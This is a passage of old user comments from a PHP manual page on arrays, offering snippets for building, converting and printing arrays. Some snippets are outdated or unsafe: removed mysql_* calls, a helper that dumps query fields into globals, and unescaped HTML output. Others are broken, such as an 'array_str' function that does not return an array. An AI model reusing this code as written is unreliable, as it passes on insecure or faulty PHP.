                    samplearray['directiory'][3] = "myiconsold";

                    samplearray['filename'][0] = "hat.png";
                    samplearray['filename'][1] = "dog.png";
                    samplearray['filename'][2] = "mice.png";
                    samplearray['filename'][3] = "rat.png";

        The above array converts to:

                    newarray[0]['filename']     = "hat.png"
                    newarray[0]['directiory']     = "myicons"
                    newarray[1]['filename']     = "dog.png"
                    newarray[1]['directiory']     = "myicons"
                    newarray[2]['filename']     = "mice.png"
                    newarray[2]['directiory']     = "myiconsold"
                    newarray[3]['filename']     = "rat.png"
                    newarray[3]['directiory']     = "myiconsold"

    */

    $keys = array_keys( $multidimensional_array );

    $array_swaped = array();

    foreach($multidimensional_array[$keys[0]] as $key_counter => $value1) {

        $temp_array = array();

        foreach($keys as $key) {
            $temp_array[$key] = $multidimensional_array[$key][$key_counter];
        }

        $array_swaped[] = $temp_array;
    }

    return $array_swaped;
}
?>
kamil at navikam dot pl 03-Jun-2009 03:42
Easy function to unarray an array :-)
It will make $array['something'] => $something.
Usefull for making code more clear.

example of use:
<?
function unarray($row) {
    foreach($row as $key => $value) {
        global $$key;
        $$key = $value;
    }
}

$sql = mysql_query("SELECT * FROM `pracownicy`");
while ($row = mysql_fetch_assoc($sql)) {
    unarray($row);
    echo $idpracownika.'<br>'; //instead of $row['idpracownika']
}
?>
Marcel dot Glacki at stud dot fh-swf dot de 27-Apr-2009 03:49
I encountered the following but didn't see it documented/reported anywhere so I'll just mentioned it here.

As written in the manual:
"When index is omitted, an integer index is automatically generated, starting at 0. If index is an integer, next generated index will be the biggest integer index + 1".

This generated index has always the largest integer used as a key so far. So adding $a[5] = 'foo'; after an $a[10] = 'bar'; will not force the next generated index to be 6 but to be 11 as 10 was the highest index encountered until here.

Anyway, the following can happen:
<?php
$max_int = 2147483647; // Max value for integer on a 32-bit system
$arr = array();

$arr[1] = 'foo'; // New generated index will be 2
$arr[ $max_int ] = 'bar'; // Caution: Next generated index will be -2147483648 due to the integer overflow!
$arr[0] = 'bar'; // The highest value should be 2147483648 but due to the i-overflow it is -2147483648 so current index 0 is larger. The new generated index therefore is 1!
$arr[]  = 'failure'; // Warning: Cannot add element to the array as the next element is already occupied.
?>
alwynlobo at gmail dot com 03-Mar-2009 11:03
Here's an example on how to create a multi-dimensional array...(without using ArrayObject)

<?php
$characters = array(array(array(
                array ( name=>"name 1",
                        occupation=>"Developer",
                        age=>30,
                        specialty=>"Java" ),
                array ( name=>"name 2",
                        occupation=>"Programmer",
                        age=>24,
                        specialty=>"C++" ),
                array ( name=>"name 3",
                        occupation=>"Designer",
                        age=>63,
                        specialty=>"Javascript" )))
);

print $characters[0][0][2][occupation];
?>
jonberglund at gmail dot com 07-Jul-2008 09:25
The following function (similar to one above) will render an array as a series of HTML select options (i.e. "<option>...</option>"). The problem with the one before is that there was no way to handle <optgroup>, so this function solves that issue.

function arrayToSelect($option, $selected = '', $optgroup = NULL)
{
    $returnStatement = '';

    if ($selected == '') {
        $returnStatement .= '<option value="" selected="selected">Select one...</option>';
    }

    if (isset($optgroup)) {
        foreach ($optgroup as $optgroupKey => $optgroupValue) {
            $returnStatement .= '<optgroup label="' . $optgroupValue . '">';

            foreach ($option[$optgroupKey] as $optionKey => $optionValue) {
                if ($optionKey == $selected) {
                    $returnStatement .= '<option selected="selected" value="' . $optionKey . '">' . $optionValue . '</option>';
                } else {
                    $returnStatement .= '<option value="' . $optionKey . '">' . $optionValue . '</option>';
                }
            }

            $returnStatement .= '</optgroup>';
        }
    } else {
        foreach ($option as $key => $value) {
            if ($key == $selected) {
                $returnStatement .= '<option selected="selected" value="' . $key . '">' . $value . '</option>';
            } else {
                $returnStatement .= '<option value="' . $key . '">' . $value . '</option>';
            }
        }
    }

    return $returnStatement;
}

 So, for example, I needed to render a list of states/provinces for various countries in a select field, and I wanted to use each country name as an <optgroup> label. So, with this function, if only a single array is passed to the function (i.e. "arrayToSelect($stateList)") then it will simply spit out a bunch of "<option>" elements. On the other hand, if two arrays are passed to it, the second array becomes a "key" for translating the first array.

Here's a further example:

$countryList = array(
    'CA'        => 'Canada',
    'US'        => 'United States');

$stateList['CA'] = array(
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'MB'        => 'Manitoba',
    'NB'        => 'New Brunswick',
    'NL'        => 'Newfoundland/Labrador',
    'NS'        => 'Nova Scotia',
    'NT'        => 'Northwest Territories',
    'NU'        => 'Nunavut',
    'ON'        => 'Ontario',
    'PE'        => 'Prince Edward Island',
    'QC'        => 'Quebec',
    'SK'        => 'Saskatchewan',
    'YT'        => 'Yukon');

$stateList['US'] = array(
    'AL'        => 'Alabama',
    'AK'        => 'Alaska',
    'AZ'        => 'Arizona',
    'AR'        => 'Arkansas',
    'CA'        => 'California',
    'CO'        => 'Colorado',
    'CT'        => 'Connecticut',
    'DE'        => 'Delaware',
    'DC'        => 'District of Columbia',
    'FL'        => 'Florida',
    'GA'        => 'Georgia',
    'HI'        => 'Hawaii',
    'ID'        => 'Idaho',
    'IL'        => 'Illinois',
    'IN'        => 'Indiana',
    'IA'        => 'Iowa',
    'KS'        => 'Kansas',
    'KY'        => 'Kentucky',
    'LA'        => 'Louisiana',
    'ME'        => 'Maine',
    'MD'        => 'Maryland',
    'MA'        => 'Massachusetts',
    'MI'        => 'Michigan',
    'MN'        => 'Minnesota',
    'MS'        => 'Mississippi',
    'MO'        => 'Missouri',
    'MT'        => 'Montana',
    'NE'        => 'Nebraska',
    'NV'        => 'Nevada',
    'NH'        => 'New Hampshire',
    'NJ'        => 'New Jersey',
    'NM'        => 'New Mexico',
    'NY'        => 'New York',
    'NC'        => 'North Carolina',
    'ND'        => 'North Dakota',
    'OH'        => 'Ohio',
    'OK'        => 'Oklahoma',
    'OR'        => 'Oregon',
    'PA'        => 'Pennsylvania',
    'RI'        => 'Rhode Island',
    'SC'        => 'South Carolina',
    'SD'        => 'South Dakota',
    'TN'        => 'Tennessee',
    'TX'        => 'Texas',
    'UT'        => 'Utah',
    'VT'        => 'Vermont',
    'VA'        => 'Virginia',
    'WA'        => 'Washington',
    'WV'        => 'West Virginia',
    'WI'        => 'Wisconsin',
    'WY'        => 'Wyoming');

...

<select name="state" id="state"><?php echo arrayToSelect($stateList,'',$countryList) ?></select>
<select name="country" id="country"><?php echo arrayToSelect($countryList,'US') ?></select>
sebasg37 at gmail dot com 12-Feb-2008 11:32
Recursive function similar to print_r for describing anidated arrays in html <ol>. Maybe it's useful for someone.

<?php
function describeAnidatedArray($array)
{
    $buf = '';
    foreach($array as $key => $value)
    {
        if(is_array($value))
        {
            $buf .= '<ol>' . describeAnidatedArray($value) . '</ol>';
        }
        else
            $buf .= "<li>$value</li>";
    }
    return $buf;
}

// Example:
$array = array("a", "b", "c", array("1", "2", array("A", "B")), array("3", "4"), "d");

echo describeAnidatedArray($array);
?>

output:

# a
# b
# c

   1. 1
   2. 2
         1. A
         2. B

   1. 3
   2. 4

# d
jon hohle 16-Nov-2007 05:12
Here are shorter versions of sam barrow's functions. From a PHP perspective these are O(1) (without getting into what's going on in the interpreter), instead of O(n).

<?php
function randomKey(array $array)
{
    return randomElement(array_keys($array));
}

function randomElement(array $array)
{
    if (count($array) === 0)
    {
        trigger_error('Array is empty.',  E_USER_WARNING);
        return null;
    }

    $rand = mt_rand(0, count($array) - 1);
    $array_keys = array_keys($array);

    return $array[$array_keys[$rand]];
}
?>
sam barrow 13-Nov-2007 10:46
check out these functions - retrieves a random element or key of an array (numeric or string indexes, doesn't matter).

function randomKey(array $array)
    {
        global $mod, $plg, $sec ;

        $rand = rand(0, count($array) - 1) ;

        $counter = 0 ;
        foreach (array_keys($array) as $key)
            {
                if ($counter++ == $rand)
                    {
                        return $key ;
                    }
            }

        trigger_error('Array is empty.', E_USER_WARNING) ;
    }

function randomElement(array $array)
    {
        global $mod, $plg, $sec ;

        $rand = rand(0, count($array) - 1) ;

        $counter = 0 ;
        foreach ($array as $value)
            {
                if ($counter++ == $rand)
                    {
                        return $value ;
                    }
            }

        trigger_error('Array is empty.', E_USER_WARNING) ;
    }
Mike Mackintosh 29-Oct-2007 09:38
If you need to add an object as an array key, for example an object from Simple XML Parser, you can use the following.

File.XML
<?xml version="1.0" encoding="UTF-8"?>
<Settings type="General">
  <Setting name="SettingName">This This This</Setting>
</Settings>

The script:
<?php
$raw = $xml =  new SimpleXMLElement('File.XML');
foreach($raw->Setting as $A => $B)
{
    // Set Array From XML
    $Setting[(string) $B['name']] = (string)  $B[0];
}
?>
By telling the key to read the object as a string, it will let you set it.

Hope this helps someone out!
Sam Yong - hellclanner [at] live dot com 27-Oct-2007 05:39
I wanted to put a large range of numbers into an array but it seems to me that the array function don't have that kind of ability for me to put in a range of numbers without having to list down every single number.

Here's my solution:
<?php

function arr_range($r1,$r2){

// the end range is smaller than the start range
// switch around
if($r2 < $r1){
$t = $r1;
$r1 = $r2;
$r2 = $t;
unset($t);
}

$return_val = array();
$i = 0;

// for each value of the range
// add the value into the temparory array
for($i = $r1;$i<=$r2;$i++){
$return_val[] = $i;
}

// return the values in array form
return $return_val;
}

// example usages
$values = arr_range(100,6000);
$values = arr_range(1996,2010);
$values = arr_range(50,25); // it works
$values = arr_range(-64,1024);

?>
Christian W. 17-Aug-2007 02:27
If you already created an associative array you can add a new element by:

<?php
$arr = array("foo" => 1);
print_r($arr);

$arr["bar"] = 2;
print_r($arr);
?>

Output:
Array
(
    [foo] => 1
)
Array
(
    [foo] => 1
    [bar] => 2
)
admin at baungenjar dot com 14-May-2007 06:11
I wrote the code below to load values from a query, than save them to two variables, code and text. It is used to replace values using str_replace.

The tricky part(for me) was building the two variables from a query.

//grab available classes - table of id numbers and //corresponding titles
$class_values = mysql_query($sql_classes);

// grab avaialable book conditions
$condition_values = mysql_query($sql_conditions);

// build conversion tables
// one for class one for coinditoion

    $condcode = array();
    $condtext = array();
    $classcode = array();
    $classtext = array();
        $i=0;

  while ($row=mysql_fetch_row($condition_values)){
        //echo $row[0]." ".$row[1];
    $condcode[$i] =$row[0];
    $condtext[$i] =$row[1];
        $i++;
  }
    $i=0;
  while ($row=mysql_fetch_row($class_values)){
        //echo $row[0]." ".$row[1];
    $classcode[$i] = $row[0];
    $classtext[$i] = $row[1];
        ++$i;
  }

// there is no output, but now four arrays exist .
//there are four becuase theycame from two tables
// now i call

//example:
echo str_replace($classcode,$classtext,1);

//would output
Algebra

//
webmaster at phpemailformprocessor dot com 06-Aug-2006 09:48
When using an array to create a list of keys and values for a select box generator which will consist of states I found using "NULL" as an index and ""(empty value) as a value to be useful:

<?php

$states = array(
    0    => 'Select a State',
    NULL => '',
    1    => 'AL - Alabama',
    2    => 'AK - Alaska',
    # And so on ...
);

$select = '<select name="state" id="state" size="1">'."\r\n";

foreach($states as $key => $value){
    $select .= "\t".'<option value="'.$key.'">' . $value.'</option>'."\r\n";
}

$select .= '</select>';

echo $select;

?>

 This will print out:

<select name="state" id="state" size="1">
    <option value="0">Select a State</option>
    <option value=""></option>
    <option value="1">AL - Alabama</option>
    <option value="2">AK - Alaska</option>
    # And so on ...

</select>

Now a user has a blank value to select if they later decide to not provide their address in the form. The first two options will return TRUE when checked against the php function - EMPTY() after the form is submitted when processing the form
Craig at frostycoolslug dot com 25-Jul-2006 04:39
Just a helpful note, when creating arrays, avoid doing:

<?php
  $var[key] = "value";
?>

PHP will look for a constant called 'key' before it will treat it as a string, thus slowing down execution (I've seen files with thousands of these and PHP taking over a second to execute).

Always concider switching on E_NOTICE before releasing any PHP, it'll help avoid making simple mistakes.
jupiter at nospam dot com 02-Jun-2006 03:33
<?php

// changes any combination of multiarray elements and subarrays
// into a consistent 2nd level multiarray, tries to preserves keys
function changeMultiarrayStructure($multiarray, $asc = 1) {
  if ($asc == 1) {  // use first subarrays for new keys of arrays
    $multiarraykeys = array_reverse($multiarray, true);
  } else {  // use the last array keys
    $multiarraykeys = $multiarray;  // use last subarray keys
  }  // end array reordering
  $newarraykeys = array();  // establish array
  foreach ($multiarraykeys as $arrayvalue) {  // build new array keys
    if (is_array($arrayvalue)) {  // is subarray an array
      $newarraykeys = array_keys($arrayvalue) + $newarraykeys;
    }  // if count(prevsubarray)>count(currentarray), extras survive
  }  // end key building loop
  foreach ($multiarray as $newsubarraykey => $arrayvalue) {
    if (is_array($arrayvalue)) {  // multiarray element is an array
      $i = 0;  // start counter for subarray key
      foreach ($arrayvalue as $subarrayvalue) {  // access subarray
        $newmultiarray[$newarraykeys[$i]][$newsubarraykey] = $subarrayvalue;
        $i++;  // increase counter
      }  // end subarray loop
    } else {  // multiarray element is a value
      foreach ($newarraykeys as $newarraykey) {  // new subarray keys
        $newmultiarray[$newarraykey][$newsubarraykey] = $arrayvalue;
      }  // end loop for array variables
    }  // end conditional
  }  // end new multiarray building loop
  return $newmultiarray;
}

// will change
$old = array('a'=>1,'b'=>array('e'=>2,'f'=>3),'c'=>array('g'=>4),'d'=>5);
// to
$new = array('e'=>array('a'=>1,'b'=>2,'c'=>4,'d'=>5),
  'f'=>array('a'=>1,'b'=>3,'d'=>5));

// note: if $asc parameter isn't default, last subarray keys used

?>

The new key/value assignment pattern is clearer with bigger arrays.
I use this to manipulate input/output data from my db. Enjoy.
bill at carneyco dot com 02-Feb-2006 08:42
I wanted to be able to control the flow of data in a loop instead of just building tables with it or having to write 500 select statements for single line items. This is what I came up with thanks to the help of my PHP brother in FL. Hope someone else gets some use out it.
<?

//set array variable
$results = array();

//talk to the db
$query = "SELECT * FROM yourtable";
$result = mysql_query($query) or die(mysql_error());

//count the rows and fields
$totalRows = mysql_num_rows($result);
$totalFields = mysql_num_fields($result);

//start the loop
for ( $i = 0; $i < $totalRows; ++$i ) {

//make it 2 dim in case you change your order
  $results[$i] = mysql_fetch_array($result);

//call data at will controlling the loop with the array
echo $results[your_row_id]['your_field_name']; }

//print the entire array to see what lives where
print_r($results);  ?>
php 07-Jan-2006 03:30
This function converts chunks of a string in an array:

function array_str($str, $len) {
  $newstr = '';
  for($i = 0; $i < strlen($str); $i++) {
    $newstr .= substr($str, $i, $len);
  }
  return $newstr;
}

use it as:

$str = "abcdefghilmn";
echo "<table width=\"100%\">\n";
foreach(array_str($str, 4) as $chunk) {
  echo "<tr><td>".$chunk."</td></tr>\n";
}
echo "</table>";

this prints:

------
abcd
------
efgh
------
ilmn
------

It don't use regular expressions. Please add this function to php :)
James 24-Nov-2005 01:04
re: m.izydorski 29-May-2005 07:17

The reason the code snippet below is "very slow" is because the backtick (`) is a shell call delimiter, not a string delimiter. Every element of the array would be executed as a shell call and the result stored as array elements.

<?
// Very slow:
$my_array = array(`sign`, `cat01`, `cat02`, ... , `cat40`,`terra01`, `terra02`, ... , `terra50`);
?>

See the backtick operator page for more information:
http://uk2.php.net/manual/en/language.operators.execution.php
matthiasDELETETHIS at ansorgs dot de 31-May-2005 02:52
How to use array() to create an array of references rather than of copies? (Especially needed when dealing with objects.) I played around somewhat and found a solution: place & before the parameters of array() that shall be references. My PHP version is 4.3.10.

Demonstration:

<?php
$ref1 = 'unchanged';
$ref2 = & $ref1;

$array_of_copies = array($ref1, $ref2);
print_r($array_of_copies); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_copies[0] = 'changed'; // $ref1 = 'changed'; is not equivalent, as it was _copied_ to the array
print_r($array_of_copies); // prints: Array ( [0] => changed [1] => unchanged )

$array_of_refs = array(& $ref1, & $ref2); // the difference: place & before arguments
print_r($array_of_refs); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_refs[0] = 'changed'; // $ref1 = 'changed'; is equivalent as $array_of_refs[0] references $ref1
print_r($array_of_refs, true); // prints: Array ( [0] => changed [1] => changed )
?>
m dot izydorski at anti_spa_m dot rubikon dot pl 29-May-2005 12:17
Ad. rdude's comment

Additionally, there is a performance loss while one are using ` marks instead ' when creating an array:

<?
//Very slow:
$my_array = array(`sign`, `cat01`, `cat02`, ... , `cat40`,`terra01`, `terra02`, ... , `terra50`);

//Much faster:
$my_array = array('sign', 'cat01', 'cat02', ... , 'cat40', 'terra01', 'terra02', ... , 'terra50');
?>

There is no reason to use ` marks (as I know), but this is a default question mark used in query output in phpMyAdmin. If you copy-paste phpMyAdmin query display, you can encounter serious performance problem.
aissatya at yahoo dot com 16-May-2005 01:48
<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>
<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>
<?php
$fruits = array (
   "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
   "numbers" => array(1, 2, 3, 4, 5, 6),
   "holes"  => array("first", 5 => "second", "third")
);
?>
brian at blueeye dot us 21-Apr-2005 05:34
If you need, for some reason, to create variable Multi-Dimensional Arrays, here's a quick function that will allow you to have any number of sub elements without knowing how many elements there will be ahead of time. Note that this will overwrite an existing array value of the same path.

<?php
// set_element(array path, mixed value)
function set_element(&$path, $data) {
    return ($key = array_pop($path)) ? set_element($path, array($key=>$data)) : $data;
}
?>

For example:

<?php
echo "<pre>";
$path = array('base', 'category', 'subcategory', 'item');
$array = set_element($path, 'item_value');
print_r($array);
echo "</pre>";
?>

Will display:
Array
(
    [base] => Array
        (
            [category] => Array
                (
                    [subcategory] => Array
                        (
                            [item] => item_value
                        )
                )
        )
)
mortoray at ecircle-ag dot com 18-Feb-2005 05:35
Be careful if you need to use mixed types with a key of 0 in an array, as several distinct forms end up being the same key:

$a = array();
$a[null] = 1;
$a[0] = 2;
$a['0'] = 3;
$a["0"] = 4;
$a[false] = 5;
$a[0.0] = 6;
$a[''] = 7;
$a[] = 8;

print_r( $a );

This will print out only 3 values: 6, 7, 8.
rdude at fuzzelish dot com 17-Feb-2005 01:35
If you are creating an array with a large number of static items, you will find serious performance differences between using the array() function and the $array[] construct. For example:
<?
 // Slower method
 $my_array = array(1, 2, 3, … 500);

 // Faster method
 $my_array[] = 1;
 $my_array[] = 2;
 $my_array[] = 3;
 …
 $my_array[] = 500;
?>
michael dot bommarito at gmail dot com 15-Jan-2005 07:14
Just in case anyone else was looking for some help writing an LU decomposition function, here's a simple example.

N.B. All arrays are assumed to begin with index 1, not 0.  This is not hard to change, but make sure you specify array(1=>...), not just array(...).

Furthermore, this function is optimized to only consider variable elements of the matrices.  As $L will be a lower triangular matrix, there is no need to compute the elements of either the diagonal or the upper triangle; likewise with $U.

This function also does not check to verify that the input matrix is non-singular.

/*
 * LU Decomposition
 * @param $A initial matrix (1...m x 1...n)
 * @param $L lower triangular matrix, passed by reference
 * @param $U upper triangular matrix, passed by reference
*/
function LUDecompose($A, &$L, &$U) {
    $m = sizeof($A);
    $n = sizeof($A[1]);

    for ( $i = 1; $i <= $m; $i++ ) {
        $U[$i][$i] = $A[$i][$i];

        for ( $j = $i + 1; $j <= $m; $j++ ) {
            $L[$j][$i] = $A[$j][$i] / $U[$i][$i];
            $U[$i][$j] = $A[$i][$j];
        }
        for ( $j = $i + 1; $j <= $m; $j++ ) {
            for ( $k = $i + 1; $k <= $m; $k++ ) {
                $A[$j][$k] = $A[$j][$k] - ($L[$j][$i] * $U[$i][$k]);
            }
        }
    }

    return;
}
phpm at nreynolds dot me dot uk 11-Jan-2005 08:24
This helper function creates a multi-dimensional array. For example, creating a three dimensional array measuring 10x20x30: <?php $my_array = multi_dim(10, 20, 30); ?>

<?php

function multi_dim()
{
    $fill_value = null;

    for ($arg_index = func_num_args() - 1; $arg_index >= 0; $arg_index--) {
        $dim_size = func_get_arg($arg_index);
        $fill_value = array_fill(0, $dim_size, $fill_value);
    }

    return $fill_value;
}

?>
stephen[AT]brooksie-net[DOT]co[DOT]uk 17-Dec-2004 04:57
I think I may have found a simpler, slightly more logical route to solving the previous problem. I came across this solution when retreving data from MySql which in most cases was for individual bits of data, but also needed to reference a set of sub data from a second table.

<?php

// -------------------------------------------------------
// Function: db_get_data()
// Desc: Build array of data from mysql table and sub table(s)
// PreCondition: None
// Returns: Array of rows / sub rows from db,
// -------------------------------------------------------

function db_get_data()
{
    $ar_sub = array();

    /* [ .... code for connecting and querying DB .... ] */

    // Retireve from first table
    $row = mysql_fetch_row($result);

    // Get first two fields
    $ar_details['item0'] = $row ['field0'];
    $ar_details['item1'] = $row ['field1'];

    // Using result from query on sub table
    // for each sub row, 'push' data on sub array
    while($row_sub = mysql_fetch_array($result_sub))
    {
        array_push($ar_sub, $row_sub['sub_field']);
    }

    // Add sub array as element of parent array
    $ar_details['item3'] = $ar_sub;

    return $ar_details;
}

// -------------------------------------------------------
// Retrieving array data
// -------------------------------------------------------

// Call function
$arr_details = db_get_data()

// Output Data
echo $ar_details['item1'];
echo $ar_details['item2'];

// For each record in sub array....
for($i=0; $i<count($ar_details['item3']); $i++)
{
    echo $ar_details['item3'][$i];
}

?>

For extra sub tables the process can be repeated by adding more sub arrays, and each sub array can hold as much data as you like. Therefore allowing you to build an ever expanding tree as required. If you have the option I would recommend using nested classes though :)
baZz 16-Oct-2003 03:27
Chek this out!!!. Suppose that you want to create an array like the following:
<?php
  $arr1 = (
    0 => array ("customer"=>"Client 1","Item a"),
    1 => array ("customer"=>"Client 2","Item b")
  );
?>
Seems prety easy, but what if you want to generate it dinamically woops!!!.  Imagine that you have a file with thousands of lines and each line is a purchase order from diferent clients:
<?php
/*function to add elements*/
function addArray(&$array, $id, $var)
{
    $tempArray = array( $var => $id);
    $array = array_merge ($array, $tempArray);
}
/*The same as above but the element is an array*/
function addArrayArr(&$array, $var, &$array1)
{
    $tempArray = array($var => $array1);
    $array = array_merge ($array, $tempArray);
}
/*labels of our array or heders of the file*/
$keyarr = array("customer","item");
/*info that may you read from a file line 1 and 2*/
$valarr0 = array("Client 1","Item a");
$valarr1 = array("Client 2","Item b");

$numofrows = 2;/*In our case is just two lines*/
$tmpArray = array();
for($i = 0; $i < $numofrows; $i++){
  $tmp = "valarr$i";
  $tmpvar = ${$tmp};/*Using var of vars tricky tricky*/
  foreach( $keyarr as $key=>$value){
    addArray($tmparr,$tmpvar[$key],$value);
  }
  addArrayArr($finalarr,$i,$tmparr);
} /*voila all it's perfectly ordered on finalarr*/

/*Here we just print the info but you can insert it into a database*/
echo "Customer: ".$finalarr[0]["customer"]."<br>";
echo "Item: ".$finalarr[0]["item"]."<br>";
echo "Customer: ".$finalarr[1]["customer"]."<br>";
echo "Item: ".$finalarr[1]["item"]."<br>";
?>

The lines above should print something like:
Customer: Client 1
Item: Item a
Customer: Client 2
Item: Item b
I hope someone find this useful.
TCross1 at hotmail dot com 03-Sep-2003 12:38
here is the sort of "textbook" way to output the contents of an array which avoids using foreach() and allows you to index & iterate through the array as you see fit:

<?php

$arrayName = array("apples", "bananas", "oranges", "pears");
$arrayLength = count($arrayName);

for ($i = 0; $i < $arrayLength; $i++){
    echo "arrayName at[" . $i . "] is: [" .$arrayName[$i] . "]<br>\n";
}

?>

enjoy!

-tim
darthjarkon at hotmail dot com 09-Jul-2003 11:09
I found a slightly better way to create large 2d arrays:

<?php
// this will simply output a 2d array-- it isn't very robust but it
//suits my needs here
function display_all($array){
    echo "<table><tr>";
    foreach($array as $spot){
    echo "<td align='center' width= '20'>";
    foreach($spot as $spotdeux){
    echo "<br>".$spotdeux;
    }
    }
    echo "</tr> </table>";
}
//this actually creates the array and puts the value 0 in all
// locations.  the $xax and $yax can be upped or
//downed to create a larger or smaller array
function creater_array(){
    $ar=Array();
    $xax=5;
    $yax=5;
    $i=1;
    for ($y=0; $y<$yax; $y++)
    {
    array_push($ar,array());
    for ($x=0; $x<$xax; $x++)
    {
    array_push($ar[$y],"0");
    }
    }
return $ar;
}

$b = creater_array();
display_all($b);
?>
10-May-2003 03:53
Similarly to a comment by stlawson at sbcglobal dot net on this page:
http://www.php.net/basic-syntax.instruction-separation

It is usually advisable to define your arrays like this:
$array = array(
     'foo',
     'bar',
);

Note the comma after the last element - this is perfectly legal. Moreover,
it's best to add that last comma so that when you add new elements to the
array, you don't have to worry about adding a comma after what used to be
the last element.

<?php
$array = array(
     'foo',
     'bar',
     'baz',
);
?>
marcel at labor-club dot de 24-Feb-2003 07:58
i tried to find a way to create BIG multidimensional-arrays. but the notes below only show the usage of it, or the creation of small arrays like $matrix=array('birne', 'apfel', 'beere');

for an online game, i use a big array (50x80) elements.
it's no fun, to write the declaration of it in the ordinary way.

here's my solution, to create an 2d-array, filled for example with raising numbers.

<?php
$matrix=array();
$sx=30;
$sy=40;
$i=1;
for ($y=0; $y<$sy; $y++)
{
    array_push($matrix,array());
    for ($x=0; $x<$sx; $x++)
    {
        array_push($matrix[$y],array());
        $matrix[$x][$y]=$i;
        $i++;
    }
}
?>

if there is a better way, plz send an email. i always want to learn more php!
grubby_d at yahoo dot com 06-Dec-2002 10:58
About NULL as an array index.

An interesting thing with arrays is that you can use NULL as an index. I am trying it out with drop down list which will be used to update a database. Its not that good of an idea but it made me find the solution. For the database example you want to use the index "NULL" with quotes.

Say you have table person which has a foreign key reference to companies. BUT you want to allow the user to not specify a company as well. So you have determined that the database reference allows NULLs.

So you make a SELECT control with the lookup values as:

<OPTION value=(comp_id)>comp_name</OPTION>

using a while loop to print out the values.

Then you want the option to select NONE of the options. If you use something like -1 or 0 to represent this "blank" option you have to handle that in your php. Instead add this to your array: myarray("NULL") = "-none-" and you will get a field like this:

<OPTION value=NULL>-none-</OPTION>

Now every value from your SELECT control will be valid for the database and wont cause a foreign key references violation. it doesnt guarantee the data is coming from your trusty SELECT box so you still may want to check anyway.

Some interesting things about using the real NULL value as an array index:

<?php
$myarray = array(1, 2, 3);

echo count($myarray) . "<BR>";  // 3
$myarray[NULL] = "the null value";
echo count($myarray) . "<BR>";  // 4

if (array_key_exists(NULL, $myarray)
{ echo "this code will never be reached";}
?>

This will return FALSE and will generate this warning:

Warning: Wrong datatype for first argument in call to array_key_exists
MadLogic at Paradise dot net dot nz 31-Oct-2002 02:39
Heres a simple yet intelligent way of setting an array, grabbing the values from the array using a loop.

<?php
$ary = array("1"=>'One','Two',"3"=>'Three');
$a = '0'; $b = count($ary);
while ($a <= $b) {
  $pr = $ary[$a];
  print "$pr<br>";
  $a++;
}
?>
mads at __nospam__westermann dot dk 23-Oct-2002 07:39
In PHP 4.2.3 (and maybe earlier versions) arrays with numeric indexes may be initialized to start at a specific index and then automatically increment the index. This will save you having to write the index in front of every element for arrays that are not zero-based.

The code:

<?php
                  $a = array
        (
            21    => 1,
            2,
            3,
        );
    print '<pre>';
    print_r($a);
    print '</pre>';
?>

will print:

<?php
Array
(
    [21] => 1
    [22] => 2
    [23] => 3
)
?>
John 18-Jul-2002 11:48
Be careful not to create an array on top of an already existing variable:

<?php
$name = "John";
$name['last'] = "Doe";
?>

$name becomes "Dohn" since 'last' evaluates to the 0th position of $name.
Same is true for multi-arrays.
Markus dot Elfring at web dot de 30-May-2002 03:04
It seems to me that the use of brackets with multidimensional arrays is not described here.

But the following examples work:

<?php
$value = $point['x']['y'];
$message[1][2][3] = 'Greetings';
?>
jay at ezlasvegas dot net 20-Apr-2002 04:21
If you want to create an array of a set size and you have PHP4, use
array_pad(array(), $SIZE, $INITIAL_VALUE); This can be handy if you wish
to initialize a bunch of variables at once:

list($Var1, $Var2, etc) = array_pad(array(), $NUMBER_OF_VARS,
$INITIAL_VALUE);

Jay Walker
Las Vegas Hotel Associate
http://www.ezlasvegas.net
jjm152 at hotmail dot com 10-Mar-2002 06:22
The easiest way to "list" the values of either a normal 1 list array or a multi dimensional array is to use a foreach() clause.

Example for 1 dim array:

<?php
   $arr = array( 1, 2, 3, 4, 5 );
   foreach ( $arr as $val ) {
       echo "Value: $Val\n";
      }
?>

For multi dim array:

<?php
     $arr = array( 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four, 5 => 'five');
      foreach ( $arr as $key => $value ) {
       echo "Key: $key, Value: $value\n";
      }
?>

This is quite possibly the easiest way i've found to iterate through an array.
tobiasquinteiro at ig dot com dot br 29-Jan-2002 12:25
<?
        // This is a small script that shows how to use an multiple array
        for($x = 0;$x < 10;$x++){
                for($y = 0;$y < 10;$y++){
                        $mat[$x][$y] = "$x,$y";
                }
        }

        for($x = 0;$x < count($mat);$x++){
                for($y = 0;$y < count($mat[$x]);$y++){
                        echo    "mat[$x][$y]: " .
                                $mat[$x][$y] . " ";
                }
                echo "\n";
        }
?>
deepak_pradhan at yahoo dot com 15-Sep-2001 05:16
I have seen that most of the time we get confused with Mult-Dimensional arrays.
I found print_r to be very helpful here.

Say the defined array is:
$a = array(1,2,array("A","B"));

print_r ($a);
Should give result like this:
Array ( [0] => 1 [1] => 2 [2] => Array ( [0] => A [1] => B ) )
We can see here that:
$a is an array, $a[0]=1, $a[1]=2 and $a[2]=array it self with two elements.

thx
dp
joshua dot e at usa dot net 24-May-2001 11:12
Here's a cool tip for working with associative arrays-
Here's what I was trying to accomplish:

I wanted to hit a DB, and load the results into an associative array, since I only had key/value pairs returned. I loaded them into an array, because I wanted to manipulate the data further after the DB select, but I didn't want to hit the DB more than necessary.

Here's how I did it:

<?php
//assume db connectivity
//load it all into the associative array
$sql = "SELECT key,value FROM table";
$result = mysql_query($sql);
while($row = mysql_fetch_row($result)) {
$myArray[$row[0]] = $row[1];
}
//now we expand it
while(list($key,$value) = each($myArray)) {
echo "$key : $value";
}
?>

I found this to be super efficient, and extremely cool.
slicky at newshelix dot com 20-Mar-2001 01:57
Notice that you can also add arrays to other arrays with the $array[] "operator" while the dimension doesn't matter.

Here's an example:
$x[w][x] = $y[y][z];
this will give you a 4dimensional assosiative array.
$x[][] = $y[][];
this will give you a 4dimensional non assosiative array.

So let me come to the point. This get interessting for shortening things up. For instance:

<?php
        foreach ($lines as $line){
            if(!trim($line)) continue;
            $tds[] = explode("$delimiter",$line);
        }
?>
jasonr at argia dot net 27-Nov-2000 05:01
